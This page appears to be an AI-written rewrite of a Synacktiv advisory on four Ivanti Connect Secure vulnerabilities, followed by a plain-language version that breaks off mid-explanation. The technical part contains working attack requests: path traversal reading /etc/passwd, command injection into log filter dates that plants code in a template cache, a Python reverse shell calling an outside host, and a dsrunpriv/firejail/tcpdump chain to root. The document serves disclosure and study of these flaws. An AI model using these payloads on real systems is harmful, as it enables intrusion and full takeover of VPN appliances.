Skip to content
RCE Write-up Advanced

Multiple vulnerabilities in Ivanti Connect Secure

Ivanti Connect Secure contained a path traversal allowing an authenticated administrator to read arbitrary files, and command injection flaws in log filter handling that let an authenticated administrator execute commands, escalating to root. An attacker with admin access could read any file and run code as root on the appliance.

Jérôme Mampianinazakason Follow

Published on synacktiv.com

Ivanti secure connect (formerly Pulse connect secure) is “The most widely deployed SSL VPN for organizations of any size, across every major industry.”1 2.

Jérôme Mampianinazakason, on synacktiv.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 19 min read.

Context

Ivanti Connect Secure, formerly Pulse Connect Secure, is described in the advisory as "The most widely deployed SSL VPN for organizations of any size, across every major industry." Synacktiv audited the appliance and found four issues, which they label V01 to V04:

ID Type CVE
V01 Path traversal none assigned
V02 Remote code execution none assigned
V03 Remote code execution CVE-2023-41719
V04 Privilege escalation to root CVE-2023-41720

All four require administrator access to the appliance to exploit. The advisory was released publicly on 2024.01.17.

Affected versions

  • The path traversal (V01) affects all versions before 9.1R13. Synacktiv confirmed that versions between 9.0R1.01 and 9.1R12 inclusive are vulnerable.
  • The first remote code execution (V02) affects versions 22.4R1 and below.
  • The second remote code execution (V03) and the privilege escalation (V04) affect versions 22.4R2 and below.

Timeline

Date Event
2023.01.24 Initial advisory including V01 and V02 sent to [redacted]
2023.02.20 Vulnerabilities acknowledged by Ivanti
2023.04 V02 patched in 22.4R2
2023.05.26 Discovery and report of V03 and V04
2023.11.10 CVE-2023-41719 and CVE-2023-41720 assigned
2024.01.17 Public release

Setup

The exploitation of every issue starts from an authenticated administrator session on the appliance. The requests in the advisory carry the administrator cookies (DSSignInURL=/admin, DSSIGNIN=url_admin, DSID, DSDID, DSFirstAccess, DSLastAccess) and an xsauth value. The researcher also used a Python helper script, run.py, to log in, create filters and trigger command execution; its output is shown in the exploitation sections.

Finding it

Two patterns stood out:

  1. In snapshot.cgi, a file path is built from a user-supplied parameter and passed to open without a real traversal check.
  2. In the log viewer and log filter scripts, user-controlled values end up concatenated into a shell command line passed to popen, and the escaping that exists for direct input is bypassed when the values are loaded back from the cached database.

Exploitation

V01: path traversal leading to arbitrary file read

The appliance does not properly handle user input variables in the /dana-admin/archive/snapshot.cgi script. The downloadFile function does not implement verification against path traversal attacks:

PERL
// dana-admin/archive/snapshop.cgi@downloadFile
sub downloadFile {
    my $which = CGI::param("which");
    my $contents = "";
    my $buffer;
    my $bytesread = 0;
    my $totalbytesread = 0;
    my $filepath = untaint($g_path . $which);
    local *FILE;
    open(*FILE, $filepath) || DSLog::Msg("HC", 0, "Unable to open file with path: $filepath");
    while($bytesread = sysread(FILE, $buffer, 1024)) {
        $contents .= $buffer;
        $totalbytesread += $bytesread;
    }
    close *FILE;
    if ($totalbytesread == 0) {
        DSLog::Msg("HC", 0, "Unable to read file with path: $filepath");
        print CGI::header(-type=>"text/html", -status=> '404 Not Found');
    } else {
        my ($type, $timeStamp) = split(/\-/, $which);
        my $downloadFileName = $type . "-" . formatDateStr($timeStamp) . ".zip";
        print CGI::header(-attachment => $downloadFileName, -type => "application/octet-stream", 'Content-Length' => $totalbytesread);
        print $contents;
    }
}

The which parameter is appended to $g_path and the result is opened, with no verification against traversal. Sending a traversal sequence in which reads any file the web service can open, and that service runs as root on the appliance.

HTTP
POST /dana-admin/archive/snapshot.cgi HTTP/1.1
Host: redacted
Cookie: DSSignInURL=/admin; DSSIGNIN=url_admin; id=[redacted]; DSID=[redacted]; DSDID=2db16ceb79970213; DSFirstAccess=1674480500; DSLastAccess=1674480544
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
[...]
Referer: https://redacted/dana-admin/archive/snapshot.cgi
[...]
op=download&which=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..
%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&xsauth=[redacted]

The which value is a URL-encoded chain of ../ segments ending in etc/passwd. The response returns the file as an attachment:

HTTP
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Disposition: attachment; filename="../../../../../../../../../../../../../../../../../../../etc/passwd1969/12/31 16:00:00.zip"
Set-Cookie: DSLastAccess=1674480761; path=/; Secure
[...]
Strict-Transport-Security: max-age=31536000

root:x:0:0:root:/:/bin/bash
nfast:x:0:0:nfast:/:/bin/bash
[...]
tcpdump:x:103:103:TCPDump User:/:

The body is the content of /etc/passwd. The filename in Content-Disposition is built from the which value split on -, which is why the traversal string and a formatted timestamp appear in it.

This vulnerability has been fixed since Ivanti Connect Secure version 9.1R13. Version 9.1R12 is vulnerable and was still supported by the constructor at the time. Ivanti acknowledged the issue but noted it was already addressed in 9.1R13 and is not applicable to 22.x.

V02: remote code execution

The appliance does not filter input before appending it to a command execution, which allows an attacker to inject extra arguments. In the /dana-admin/log/logfilter.cgi script, the save log feature calls the dstaillog binary with arguments controlled by the user:

PERL
// /home/webserver/htdocs/dana-admin/log/logviewer.cgi@saveLog
sub saveLog {
    my $cmd = "";
    [...]
    $cmd = $ENV{'DSINSTALL'}."/bin/dstaillog -a -b -t $Main::Type -i $ivsId";
    if (DSLicense::isEnabled($DSLicense::FT_logreport)) {
        my $filter = $Main::Filter;
        $filter =~ s/\"/\'/g;
        my $encodedFilter = MIME::Base64::encode($filter, "");
        $cmd .= " --base64query \"".$encodedFilter."\"";
        if ($Main::Begin ne "") {
            $cmd .= " --begindate $Main::Begin";
        }
        if ($Main::End ne "") {
            $cmd .= " --enddate $Main::End";
        }
    }
    # --format needs to be appended at the very end of the command
    # because --format takes multiple arguments to generate multi line
    # messages.
    $cmd .= " --format '$formatExplicit'";
    my $fd = popen(*LOG, $cmd, "r");
    DSLog::Msg("logviewer", 10, "Reading dstaillog's output for saving $Main::Type logs for ivs $ivsId");
    while(<LOG>) {
        print $_ ;
    }
    DSLog::Msg("logviewer", 10, "Done reading dstaillog's output for saving $Main::Type logs for ivs $ivsId");
    close(*LOG) ;
    printf ("\n");

The Main::Begin and Main::End variables are properly controlled if they come directly from user input. However, no verification is performed if the values are loaded from the database:

PERL
// /home/webserver/htdocs/dana-admin/log/logviewer.cgi@main
sub main {
    […]
    ($Main::FilterSelected, $Main::FilterName, $Main::Filter, $Main::FormatType, $Main::Format, $Main::FormatExplicit, $Main::Begin, $Main::End) = DSLogAdmin::loadFilter ($loadfilter, $Main::Type);
    [...]
    # Get the current date we're filtering on
    if (defined (CGI::param ("date")) && CGI::param ("date") ne "" && (CGI::param ("date") =~ /-[0-9]/)) {
        #$Main::Error_Msg .= "<br><b>debug: filterdate = ".CGI::param ("date")."</b>";
        $Main::FilterDate = CGI::param ("date");
        $Main::Begin = $Main::FilterDate;
        $Main::End = $Main::FilterDate;
    }
    [...]

The DSLogAdmin::loadFilter function only loads values from the database (cached value) and returns them:

PERL
// /home/perl/DSLogAdmin.pm@loadFilter
sub loadFilter ($$) {
    my ($id, $type) = @_;
    if ($id != "default" && ! DSLicense::isEnabled ($DSLicense::FT_logreport)) {
        return loadFilter ("default", $type);
    }
    if (! filterExists ($id)) {
        return loadFilter ("default", $type);
    }
    my ($name, $begin, $end, $filter, $format_type, $format, $formatExplicit);
    (new DSCacheItem ("logserver", "filter_".$id, "name"))->getStr ($name);
    (new DSCacheItem ("logserver", "filter_".$id, "begin"))->getStr ($begin);
    (new DSCacheItem ("logserver", "filter_".$id, "end"))->getStr ($end);
    (new DSCacheItem ("logserver", "filter_".$id, "format_type"))->getStr ($format_type);
    (new DSCacheItem ("logserver", "filter_".$id, "filter"))->getStr ($filter);
    (new DSCacheItem ("logserver", "filter_".$id, "format"))->getStr ($format);
    [...]
    return ($id, $name, $filter, $format_type, $format, $formatExplicit, $begin, $end);

}

Moreover, no verification is performed when creating the filter in dana-admin/log/logfilter.cgi. The type of the values used to create the Main::End variable is not checked:

PERL
// /home/webserver/htdocs/dana-admin/log/logfilter.cgi@main
sub main {
    [...]
    if (defined (CGI::param ("btnSave"))) {
        [...]
        if (CGI::param ("chkEndDate") eq "yes") {
            my $f_end_bits = 3;
            if (CGI::param ("endYYYY") == "") {
                $f_end_bits--;
            }
            if (CGI::param ("endMM") == "") {
                $f_end_bits--;
            }
            if (CGI::param ("endDD") == "") {
                $f_end_bits--;
            }
            if ($f_end_bits == 0) {
                $f_end = "";
            }
            if ($f_end_bits == 3) {
                $f_end = CGI::param ("endYYYY")."-".CGI::param ("endMM")."-".CGI::param ("endDD");
            }
            if ($f_end_bits == 1 || $f_end_bits == 2) {
                $Main::Error_Msg .= DSUILogAdmin::EndDateInvalid ();
                $all_ok = 0;
                $incomplete_date = 1;
            }
        }
        [...]
        if ($all_ok) {
            if ($Main::FilterSelected ne "default" && ($Main::FilterName ne $f_name || $Main::Filter ne $f_filter || $Main::Begin ne $f_begin || $Main::End ne $f_end || $Main::FormatExplicit ne $f_format || $Main::FormatType ne $f_type)) {
                # check if we switched to custom, but the format didn't change
                my $equal = ($f_format eq $Main::FormatExplicit);
                if ($Main::FormatType ne "Custom" && $f_type eq "Custom" && $equal) {
                    $f_type = $Main::FormatType;
                    $f_format = $Main::Format;
                }
                $f_format = CGI::unescapeHTML($f_format);
                DSLogAdmin::saveFilter ($Main::FilterSelected, $f_name, $f_begin, $f_end, $f_filter, $f_type, $f_format);
                DSLog::RereadConfig ()
            }

            [...]

The same logic is applied to Main::Begin. Finally, the DSLogAdmin::saveFilter function only adds the values to the cached database:

PERL
// /home/perl/DSLogAdmin.pm@saveFilter
sub saveFilter ($$$$$$$) {
    my ($id, $name, $begin, $end, $filter, $type, $format) = @_;
    my $added = 0;
    if (!filterExists ($id)) {
        my $change = new DSCacheChanges();
        $change->createItem(new DSCacheItem("logserver", "filter_".$id));
        $change->commit ();
        $added = 1;
    }
    (new DSCacheItem ("logserver", "filter_".$id, "name"))->updateStr ($name);
    (new DSCacheItem ("logserver", "filter_".$id, "begin"))->updateStr ($begin);
    (new DSCacheItem ("logserver", "filter_".$id, "end"))->updateStr ($end);
    (new DSCacheItem ("logserver", "filter_".$id, "format_type"))->updateStr ($type);

    [...]

By creating a filter, it is possible to inject an argument into the dstaillog command execution. Using this, a file can be written in the template caching directory /data/var/runtime/tmp/tt/, which will be loaded and executed when some cached pages are requested. The malicious filter is created by injecting the argument in the endDD parameter:

HTTP
POST /dana-admin/log/logfilter.cgi?filter=4&type=events HTTP/1.1
Host: redacted
Cookie: DSSignInURL=/admin; DSSIGNIN=url_admin; id=[redacted]; DSID=[redacted]; DSDID=142638fd3a1ab6c8; DSFirstAccess=1674484636; DSLastAccess=1674484664; DSLaunchURL=[redacted]
[...]
Content-Type: application/x-www-form-urlencoded
Content-Length: 366
Origin: https://redacted
Referer: https://redacted/dana-admin/log/logfilter.cgi?filter=4&type=events
[...]
xsauth=[redacted]&cancel=cancel&type=events&filter=4&view=0&txtNa
me=synacktivfilter&chkStartDate=no&startMM=&startDD=&startYYYY=&chkEndDate=yes&endMM=12&endDD=31+f+%27%24x%3D%22ls%22%2Csystem%24x%27+%3E%2Fdata%2Fvar%2Fruntime%2Ftmp%2Ftt
%2Fsetcookie.thtml.ttc+%23+
%3C&endYYYY=2099&txtQuery=&chkExportFormat=Custom&txtExportFormat=&btnSave=Save
HTTP
HTTP/1.1 302 Moved
location: /dana-admin/log/logfilters.cgi?type=events
Content-Type: text/html; charset=utf-8
Set-Cookie: DSLastAccess=1674484867; path=/; Secure
[...]

With this injection, the endDD value is:

Text
31 -f '$x="ls",system$x' >/data/var/runtime/tmp/tt/setcookie.thtml.ttc # <

Moreover, the Main::End value when saving the logs will be:

Text
2023-12-31 -f '$x="ls",system$x' >/data/var/runtime/tmp/tt/setcookie.thtml.ttc # <

This value is injected into the command line execution when requesting the save log mechanism:

This payload is parsed by the DSSafe::_parsecmd function and the standard output is written into the /data/var/runtime/tmp/tt/setcookie.thtml.ttc file. That output is the value provided as a format using the -f argument. In conclusion, this writes $x="ls",system$x into a cached file, and the ls command is executed when the endpoint is requested:

Bash
$ curl -ksi https://redacted.com/dana-na/auth/setcookie.cgi
HTTP
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: DSPSALPREF=IzAjhZ%2FOY9rSCgABAAAA1ciHs%2BeHwYr%2FhO8ReLdHE6BZcnQ2ZBAn%2FRW
%2FsP1yhJE%3D; path=/; expires=Wed, 25-Jan-2023 14:53:57 GMT; secure
[...]
AgentInstall.thtml
AgentlessInstall.thtml
Cancel-ipad.thtml
[...]
user_unknown_mobile_webkit.thtml
welcome.cgi
Status: 500 Internal Error
Content-Type: text/html
<H2>500 Internal Error</H2><br>
An unexpected error was encountered while executing the CGI<br>
Please contact the administrator.

The response body lists template names and ends with a 500 Internal Error.

Ivanti acknowledged this vulnerability but could not reproduce the command execution. They did consider the possibility of injecting malicious characters and stated that it would be filtered by the DSSafe Perl class. Synacktiv nevertheless confirms that the patch provided with version 22.4R2 properly fixes the vulnerability, and provides a script in the appendix to achieve remote code execution on a 22.4R1 installation:

Bash
$ python3 run.py -u https://redacted.com/ -U admin -P *** -m 1
-c 'cat /home/VERSION'
Text
2023-05-24 19:07:43,537 - INFO - Method 1 is patched on 22.4R2.
2023-05-24 19:07:46,346 - INFO - Submit login form
[...]
2023-05-24 19:07:50,494 - INFO - Logout
2023-05-24 19:07:50,504 - INFO - Calling endpoint to execute command with custom HTTP header
export DSREL_MAJOR=22
export DSREL_MINOR=4
export DSREL_MAINT=1
export DSREL_DATAVER=4901
export DSREL_PRODUCT=ssl-vpn
export DSREL_DEPS=ive
export DSREL_BUILDNUM=1439
export DSREL_COMMENT="R1"
Bash
$ python3 run.py -u https://redacted.com/ -e -c 'id'
Text
2023-05-24 18:52:49,708 - INFO - Running directly command
2023-05-24 18:52:49,708 - INFO - Calling endpoint to execute command with custom HTTP header

uid=0(root) gid=0(root) groups=0(root)
Text
2023-05-24 18:52:55,627 - INFO - Running directly command
2023-05-24 18:52:55,627 - INFO - Calling endpoint to execute command with custom HTTP header
Linux localhost2 [redacted]-production #1 SMP Thu Feb 9 05:35:25 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

The helper script's id output on 22.4R1 shows uid=0(root).

V03: remote code execution (CVE-2023-41719)

Using the logic from the previous vulnerability, the /dana-admin/log/logfilter.cgi script does not escape command arguments before calling the dstaillog binary. As explained before, the saveLog function does not escape Main::End or Main::Begin values:

PERL
// /home/webserver/htdocs/dana-admin/log/logviewer.cgi@saveLog
sub saveLog {
    my $cmd = "";
    [...]
    $cmd = $ENV{'DSINSTALL'}."/bin/dstaillog -a -b -t $Main::Type -i $ivsId";
    if (DSLicense::isEnabled($DSLicense::FT_logreport)) {
        my $filter = $Main::Filter;
        $filter =~ s/\"/\'/g;
        my $encodedFilter = MIME::Base64::encode($filter, "");
        $cmd .= " --base64query \"".$encodedFilter."\"";
        if ($Main::Begin ne "") {
            $cmd .= " --begindate $Main::Begin";
        }
        if ($Main::End ne "") {
            $cmd .= " --enddate $Main::End";
        }
    }
    # --format needs to be appended at the very end of the command
    # because --format takes multiple arguments to generate multi line
    # messages.
    $cmd .= " --format '$formatExplicit'";
    my $fd = popen(*LOG,

$cmd, "r");

While the previous vulnerability focused on injecting values into Main::End by inserting a malicious filter, the same values can be set after the filter is loaded:

PERL
// /home/webserver/htdocs/dana-admin/log/logviewer.cgi@main
sub main {
    […]
    ($Main::FilterSelected, $Main::FilterName, $Main::Filter, $Main::FormatType, $Main::Format, $Main::FormatExplicit, $Main::Begin, $Main::End) = DSLogAdmin::loadFilter ($loadfilter, $Main::Type);
    [...]
    # Get the current date we're filtering on
    if (defined (CGI::param ("date")) && CGI::param ("date") ne "" && (CGI::param ("date") =~ /-[0-9]/)) {
        #$Main::Error_Msg .= "<br><b>debug: filterdate = ".CGI::param ("date")."</b>";
        $Main::FilterDate = CGI::param ("date");
        $Main::Begin = $Main::FilterDate;
        $Main::End = $Main::FilterDate;
    }
    [...]

As the regex condition is loose, it is possible to inject malicious characters into the Main::Begin and Main::End variables. Providing a date parameter as the following input writes the output of the dstaillog process into a template file:

Text
2099-12-31 2>&1 >/data/var/runtime/tmp/tt/setcookie.thtml.ttc < "

The value is reflected in Main::Begin and Main::End, and generates the following command with the user-controlled data in red:

Text
/home/bin/dstaillog -a -b -t $Main::Type -i $ivsId --begindate $Main::Begin --enddate $Main::End --format '$formatExplicit'

By injecting the malicious date parameter, the command becomes:

Text
/home/bin/dstaillog -a -b -t $Main::Type -i $ivsId --begindate 2099-12-31 2>&1 >/data/var/runtime/tmp/tt/setcookie.thtml.ttc < " --enddate 2099-12-31 2>&1 >/data/var/runtime/tmp/tt/setcookie.thtml.ttc < " --format '$formatExplicit'

Thanks to DSSafe's parsing:

  • The value between quotes is considered an input file and is not sent as an argument.
  • The command output is written to the file /data/var/runtime/tmp/tt/setcookie.thtml.ttc.

It is possible to write anything in the formatExplicit variable into the selected file. Synacktiv used the same logic as before, creating a filter that hosts the payload in the custom format, then calling the saveLog feature with the malicious date.

On 22.4R2 the service handling the request runs as nr, a non-root user but still a member of the root group on the appliance. The helper script confirms this:

Text
2023-05-24 19:02:23,086 - INFO - Submit login form
[...]
2023-05-24 19:02:25,535 - INFO - Logout
2023-05-24 19:02:25,545 - INFO - Calling endpoint to execute command with custom HTTP header
export DSREL_MAJOR=22
export DSREL_MINOR=4
export DSREL_MAINT=2
export DSREL_DATAVER=5000
export DSREL_PRODUCT=ssl-vpn
export DSREL_DEPS=ive
export DSREL_BUILDNUM=1531
export DSREL_COMMENT="R2"
Bash
$ python3 run.py -u https://redacted.com/ -e -c 'id'
Text
2023-05-24 19:02:31,225 - INFO - Running directly command
2023-05-24 19:02:31,226 - INFO - Calling endpoint to execute command with custom HTTP header

uid=104(nr) gid=0(root) groups=0(root) context=system_u:system_r:kernel_t:s0
Text
2023-05-24 19:02:35,235 - INFO - Running directly command
2023-05-24 19:02:35,235 - INFO - Calling endpoint to execute command with custom HTTP header
Linux localhost2 [redacted]-selinux-jailing-production #1 SMP Wed Jan 25 08:26:29 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

V04: privilege escalation (CVE-2023-41720)

Using V03, it is possible to obtain a reverse shell as the nr user on 22.4R2 by hosting a Python script somewhere and running it:

Bash
$ cat rev.py
import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.76
.2",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(
"/bin/sh")
Text
2023-05-25 15:00:59,759 - INFO - Submit login form
2023-05-25 15:00:59,825 - INFO - Already running session found. Let's continue
2023-05-25 15:01:01,493 - INFO - Creating filter with legit values
2023-05-25 15:01:02,055 - INFO - Logout
2023-05-25 15:01:02,062 - INFO - Calling endpoint to execute command with custom HTTP header
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   192  100   192    0     0  96000      0 --:--:-- --:--:-- --:--:-- 96000
Text
2023-05-25 15:01:49,192 - INFO - Submit login form
2023-05-25 15:01:49,273 - INFO - Already running session found. Let's continue
2023-05-25 15:01:51,011 - INFO - Creating filter with legit values
2023-05-25 15:01:51,625 - INFO - Logout
2023-05-25 15:01:51,633 - INFO - Calling endpoint to execute command with custom HTTP header
^C
Bash
$ nc -vnlp 9999
Text
Listening on [redacted] 9999
Connection received on [redacted] 51894
sh-4.2$ id
id

uid=104(nr) gid=0(root) groups=0(root) context=system_u:system_r:kernel_t:s0

The nr user is a member of the root group, which is already privileged, but one SUID binary can be used to elevate the current privileges to the root user. The binary is used to run privileged commands from an unprivileged user:

Bash
sh-4.2$ find / -perm -4000 2>/dev/null
/home/bin/dsrunpriv

An attacker with a shell as the non-root user can elevate privileges on the appliance:

Bash
sh-4.2$ /home/bin/dsrunpriv --help
/home/bin/dsrunpriv --help
Usage: dsrunpriv OPTIONAL[--no-ld-preload|--save-pid-to-file <file name>] binary name full path and it's arguments.

--no-ld-preload - will clear out the /etc/ld.so.preload file for the duration of

                   the run

                   (this option is meant to be used with firejail only)

--ld-preload [list of libraries separated by ":"] - preload the specified libraries before anything else. This option is not compatible with --no-ld-preload

--save-pid-to-file <file name> - will save the pid process pid to the specified file under: /data/runtime/pids/. (the file name should just be the name of the file, not the location)

--setenv [list of environment variables (in key=value format) with each key=value pair separated by ","]. Eg: dsrunpriv --setenv VAR1=<value>,VAR2=<value>...

Example: dsrunpriv --no-ld-preload --save-pid-to-file tcpdump.pid /usr/local/bin/firejail /usr/bin/tcpdump -s 0 -C 512 -W 1 -e -i int0 -w /home/runtime/tcpdump/tcpdump.dump

The example illustrates a usage with the tcpdump binary, which can execute a command using the -z option. The --noprofile option of the firejail binary allows executing something without a security profile. By associating these options, it is possible to execute code as root from an unprivileged user:

Bash
sh-4.2$ id
uid=104(nr) gid=0(root) groups=0(root) context=system_u:system_r:kernel_t:s0
sh-4.2$ export PATH="/bin:${PATH}"
sh-4.2$ echo 'id' > /tmp/command
sh-4.2$ chmod a+x /tmp/command
sh-4.2$ ls -al /tmp/command
-rwxr-xr-x. 1 nr root 3 May 25 06:16 /tmp/command
sh-4.2$ /home/bin/dsrunpriv /usr/local/bin/firejail --noprofile /usr/bin/tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/command
Text
Parent pid 9281, child pid 9282
The new log directory is /proc/9282/root/var/log
Warning: /var/lock not mounted
Warning: cannot find /var/run/utmp
Child process initialized in 4.28 ms
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
[...]

uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:dsjailing_t:s0
Parent is shutting down, bye...
sh-4.2$

Using this command execution it is possible to create a reverse shell running as root. First the previous rev.py file is edited to connect to another port:

Bash
sh-4.2$ sed -i 's/9999/9998/g' /tmp/rev.py
sh-4.2$ echo '/home/venv3/bin/python3 /tmp/rev.py' > /tmp/command
sh-4.2$ /home/bin/dsrunpriv /usr/local/bin/firejail --noprofile /usr/bin/tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/command
Text
Parent pid 9526, child pid 9527
The new log directory is /proc/9527/root/var/log
Warning: /var/lock not mounted
Warning: cannot find /var/run/utmp
Child process initialized in 19.07 ms
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
[...]
^C
Bash
$ nc -vnlp 9998
Text
Listening on [redacted] 9998
Connection received on [redacted] 54296
sh-4.2# id

uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:dsjailing_t:s0

Root cause

  • V01: downloadFile in snapshot.cgi concatenates the which parameter onto $g_path and passes the result to open without a traversal check, so ../ sequences escape the intended directory.
  • V02 and V03: saveLog in logviewer.cgi builds a shell command string for popen from Main::Begin and Main::End. Direct user input to those variables is controlled, but values loaded from the cached filter database are not validated, and the filter creation code in logfilter.cgi does not check the type of the date components it stores. In V03 the date parameter is only checked against the loose regex /-[0-9]/, so shell metacharacters pass through into --begindate and --enddate. The DSSafe parsing then treats the quoted remainder as an input file and redirects the command output into a template cache file, which is later loaded and executed.
  • V04: the nr user is in the root group, and the SUID binary /home/bin/dsrunpriv runs arbitrary binaries with elevated privileges. Combined with firejail --noprofile and tcpdump -z, this gives root code execution.

Impact

  • V01: an authenticated administrator can read any file on the server, because the service handling the request runs as root on the appliance.
  • V02: an authenticated administrator can inject an argument into the dstaillog command and write a file into the template caching directory, which is executed when cached pages are requested. On 22.4R1 the injected command ran as root.
  • V03: an authenticated administrator can write into the template cache; the service runs as nr, a non-root user but a member of the root group since 22.4R2.
  • V04: an attacker with a shell as the non-root user can elevate to root through dsrunpriv.

All of these require administrator access to the appliance.

Fix

  • V01 was already addressed in Ivanti Connect Secure 9.1R13 and is not applicable to 22.x.
  • V03 and V04 were reported on 2023.05.26 and received CVE-2023-41719 and CVE-2023-41720 on 2023.11.10.

Variants to test

  1. On other appliances, look for CGI scripts that build a file path from a request parameter and pass it to open. A positive result is a response whose body contains the contents of a file outside the intended directory, such as /etc/passwd.
  2. Look for admin features that save values into a database and later reload them into a shell command. A positive result is a stored value that appears unescaped in the command line, for example a date field that accepts spaces and shell metacharacters.
  3. Test date or filter parameters against loose regexes such as /-[0-9]/. A positive result is a value containing >, <, 2>&1 or quotes that reaches the command and changes where output is written.
  4. Enumerate SUID binaries on the appliance and check whether any wrapper runs arbitrary binaries with elevated privileges. A positive result is a wrapper whose help output shows options to run a binary with arguments, as dsrunpriv does.
  5. Check whether template cache directories are writable by the web user and whether cached templates are re-rendered from disk. A positive result is a file written through a command injection that is later executed when the corresponding page is requested.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 34 min read.

What happened, in plain words

Ivanti Connect Secure is a piece of software that companies install so that their employees can reach the company network safely from outside the office. The advisory calls it "The most widely deployed SSL VPN for organizations of any size, across every major industry." A VPN is a private tunnel between your computer and a company network: instead of talking to the internet directly, your traffic goes through a server that checks who you are and then lets you in. Ivanti Connect Secure (it used to be called Pulse Connect Secure) is one of those servers, and it comes with a web administration interface, a set of web pages an administrator uses to configure it.

Synacktiv, a security company, audited this appliance and found four problems, which they number V01 to V04:

ID Type CVE
V01 Path traversal none assigned
V02 Remote code execution none assigned
V03 Remote code execution CVE-2023-41719
V04 Privilege escalation to root CVE-2023-41720

A CVE is a public catalogue number given to a known security flaw, so that everyone can refer to the same issue by the same name. All four problems require administrator access to the appliance to exploit, meaning the attacker must already be logged in to the admin interface. The advisory was released publicly on 2024.01.17.

Two ideas run through the whole report, so it is worth meeting them now.

A path traversal is when a program is asked to open a file and the person asking can slip ../ into the file name. On a computer, .. means "the folder above this one". If a program expects to open reports/monday.zip and you send ../../etc/passwd, the program may walk up out of its folder and open a file it was never meant to touch. It is like a hotel clerk told to fetch a folder from room 101 who accepts a note saying "go up two floors and take the guest register instead".

Remote code execution (RCE) is when an attacker can make the server run commands of their choosing, from a distance, through the web interface. It is the difference between someone reading over your shoulder and someone sitting at your keyboard.

Affected versions

  • The path traversal (V01) affects all versions before 9.1R13. Synacktiv confirmed that versions between 9.0R1.01 and 9.1R12 inclusive are vulnerable.
  • The first remote code execution (V02) affects versions 22.4R1 and below.
  • The second remote code execution (V03) and the privilege escalation (V04) affect versions 22.4R2 and below.

Timeline

Date Event
2023.01.24 Initial advisory including V01 and V02 sent to [redacted]
2023.02.20 Vulnerabilities acknowledged by Ivanti
2023.04 V02 patched in 22.4R2
2023.05.26 Discovery and report of V03 and V04
2023.11.10 CVE-2023-41719 and CVE-2023-41720 assigned
2024.01.17 Public release

Setup

Every issue in the report starts from an authenticated administrator session on the appliance. In practice that means the researcher first logged in to the admin web interface with an administrator account, and then reused the session for every request.

A web session is kept alive by cookies: small pieces of text that a website asks your browser to store and send back with every request, so the server can recognise you between page loads. When you log in, the server hands your browser a cookie that says "this is the person who just proved the password". Anyone who copies that cookie can act as you until it expires. The requests in the advisory carry the administrator cookies (DSSignInURL=/admin, DSSIGNIN=url_admin, DSID, DSDID, DSFirstAccess, DSLastAccess).

There is also an xsauth value in the requests. CSRF (cross-site request forgery) is an attack where a malicious page makes your browser send a request to a site you are already logged in to. To stop it, the site puts a random value in each form and checks it on arrival; a page from another site cannot guess it.

The researcher also used a Python helper script, run.py, to log in, create filters and trigger command execution. Its output appears in the exploitation sections. Python is a programming language; a script is a text file of instructions that the computer runs.

Finding it

Perl is a programming language often used for web scripts. CGI is an old but still common way for a web server to run a program each time a URL is requested: the program receives the request, does something, and prints a response. The /dana-admin/ part of the URL is the folder holding the administrator pages.

Two patterns stood out:

  1. In snapshot.cgi, a file path is built from a user-supplied parameter and passed to open without a real traversal check.
  2. In the log viewer and log filter scripts, user-controlled values end up concatenated into a shell command line passed to popen, and the escaping that exists for direct input is bypassed when the values are loaded back from the cached database.

A parameter is a named value sent with a request, usually after a ? in the URL or inside the body of a form submission, like ?name=alice. open is the Perl function that opens a file. popen is the Perl function that starts another program and reads what it prints. A shell is the program that reads a line of text as a command and runs it; when a program builds a command line out of user input and hands it to a shell, any extra characters the user slipped in are interpreted as part of the command. A cache is a store of data kept for speed, so the server does not have to recompute it every time; here it is a small database of saved log filters.

Exploitation

V01: path traversal leading to arbitrary file read

The appliance does not properly handle user input variables in the /dana-admin/archive/snapshot.cgi script. The downloadFile function does not implement verification against path traversal attacks:

PERL
// dana-admin/archive/snapshop.cgi@downloadFile
sub downloadFile {
    my $which = CGI::param("which");
    my $contents = "";
    my $buffer;
    my $bytesread = 0;
    my $totalbytesread = 0;
    my $filepath = untaint($g_path . $which);
    local *FILE;
    open(*FILE, $filepath) || DSLog::Msg("HC", 0, "Unable to open file with path: $filepath");
    while($bytesread = sysread(FILE, $buffer, 1024)) {
        $contents .= $buffer;
        $totalbytesread += $bytesread;
    }
    close *FILE;
    if ($totalbytesread == 0) {
        DSLog::Msg("HC", 0, "Unable to read file with path: $filepath");
        print CGI::header(-type=>"text/html", -status=> '404 Not Found');
    } else {
        my ($type, $timeStamp) = split(/\-/, $which);
        my $downloadFileName = $type . "-" . formatDateStr($timeStamp) . ".zip";
        print CGI::header(-attachment => $downloadFileName, -type => "application/octet-stream", 'Content-Length' => $totalbytesread);
        print $contents;
    }
}

Line by line, in plain words:

  • sub downloadFile { starts the function that handles a download request.
  • my $which = CGI::param("which"); reads the value of the which parameter from the request. This is the value the user controls.
  • The next lines set up empty variables: $contents will hold the file's bytes, $buffer is a temporary chunk, and the two counters start at zero.
  • my $filepath = untaint($g_path . $which); builds the path to open by gluing a fixed base folder ($g_path) and the user's value ($which) together. untaint is applied to the path, but the report says no verification against traversal is implemented.
